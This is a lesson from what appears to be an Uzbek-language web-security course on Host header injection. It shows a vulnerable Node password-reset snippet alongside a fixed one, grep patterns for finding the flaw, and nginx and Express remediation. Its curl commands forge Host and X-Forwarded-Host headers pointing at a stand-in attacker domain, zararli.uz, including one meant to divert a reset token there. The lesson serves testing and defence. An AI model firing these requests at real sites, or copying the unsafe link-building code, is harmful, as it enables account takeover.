Host Header Injection

≡ Barcha darslar
Tezkor 🔎 Indeks
🖥

Host Header Injection

Sarlavha orqali domen
Dars 23 O'rta o'z saytingizda
1

Maqsad

sarlavha orqali domenni almashtirish

Server Host sarlavhasiga ishonib, undan pochta havolasi, ogohlantirish yoki kesh kalitini yasaydi. Hujumchi boshqa domen yoki `@ orqali e-posta reset havolasini o'z domeniga yuboradi.

2

Tushuntirish

// XAVFLI
const link = `https://${{req.headers.host}}/reset?token=${{t}}`;
sendMail(user.email, link);          // Host = ihlonchilik.uz bo'lsa

// TO'G'RI
const BASE = process.env.PUBLIC_URL;   // https://meeshar.uz
sendMail(user.email, `${BASE}/reset?token=${{t}}`);
Eng xavfli holat

Host: meeshar.uz@zararli.uz — ba'zi parser'lar @ dan keyingi qismni domen deb oladi. Yoki X-Forwarded-Host boshqarilishi mumkin.

3

Qanday aniqlanadi

# 1) req.headers.host ishlatilishi
grep -rnE "req\.headers\[?.?host|headers\.host|x-forwarded-host|req\.get\(.host" src/

# 2) pochta havolalari qayerda yig'iladi
grep -rnE "\$\{?(req\.headers\.host|req\.get\('host'\))" src/ | head
4

Buyruqlar

# 1) Host ni almashtirish
curl -s -D- -o /dev/null https://site.uz/ -H "Host: zararli.uz" | head -5
curl -s https://site.uz/ -H "Host: zararli.uz" | grep -iE "zararli\.uz" | head

# 2) parol tiklash havolasiga ta'sir
curl -s -X POST https://site.uz/api/auth/forgot-password \
  -H "Host: zararli.uz" -H "Content-Type: application/json" \
  -d '{"email":"sinov@site.uz"}' | jq .
// keyin "zararli.uz" serveringizga email logini tekshiring

# 3) @ hiylasi
curl -s -D- -o /dev/null https://site.uz/ -H "Host: site.uz@zararli.uz"
curl -s -D- -o /dev/null https://site.uz/ -H "Host: site.uz#@zararli.uz"

# 4) X-Forwarded-Host (proksi orqasida)
curl -s -D- -o /dev/null https://site.uz/ -H "X-Forwarded-Host: zararli.uz"
curl -s -D- -o /dev/null https://site.uz/ -H "X-Original-URL: http://zararli.uz"

# 5) kesh kalitida (cache poisoning)
curl -s -D- https://site.uz/ -H "Host: zararli.uz" | grep -iE "x-cache|age|vary|etag"

# 6) absolute URL lar
curl -s https://site.uz/ -H "Host: zararli.uz" | grep -oE "https?://[a-z0-9.-]+" | sort -u | head
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
Javobda `zararli.uz` havolasi chiqdi**Host injection**
Tiklash xabari o'sha domenga yuborildi**Token o'g'irlash mumkin**
`site.uz@zararli.uz` qabul qilindi**Parser hiylasi**
Kesh kaliti Host'dan yasaldi**Cache poisoning**
Absolute URL'lar boshqa domenni ko'rsatdi**Ta'sir bor**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
`site.uz` qolgan, domen o'zgarmagan**To'g'ri**
Domen `process.env` dan olinadi**Xavfsiz**
Proxy'ga `proxy_set_header Host $host` qo'yilgan**To'g'ri**
6

Zararni yopish

1. Domenni koddan emas, sozlamadan

const BASE = process.env.PUBLIC_URL;      // https://meeshar.uz
mail(user.email, `${BASE}/reset?token=${{t}}`);
canonical(req, BASE);

2. nginx — Host'ni majburlash

server_name meeshar.uz www.meeshar.uz;
proxy_set_header Host $host;            // $http_host EMAS
proxy_set_header X-Forwarded-Host $host;
// no $host → mijoz yuborgan qiymat o'tmaydi

3. Kesh kaliti faqat ochiq maydonlardan

const key = `page:${{req.query.lang}}`;    // Host EMAS

4. Node da ishonchsiz sarlavhalarni tozalash

app.set('trust proxy', 1);              // faqat o'z proksimiz
app.disable('x-powered-by');
// middleware
app.use((req, res, next) => {{
  ['x-forwarded-host','x-original-host','x-rewrite-url']
    .forEach(h => delete req.headers[h]);
  next();
}});
7

Tekshirish ro'yxati

  • Domen `PUBLIC_URL` dan olinadi
  • nginx'da `proxy_set_header Host $host`
  • `X-Forwarded-Host` ishlatilmaydi
  • Kesh kalitida Host ishlatilmaydi
  • `Host: site.uz@zararli.uz` rad etiladi
← Oldingi
🌍 CORS noto'g'ri sozlanishi
Keyingi →
⏎ CRLF Injection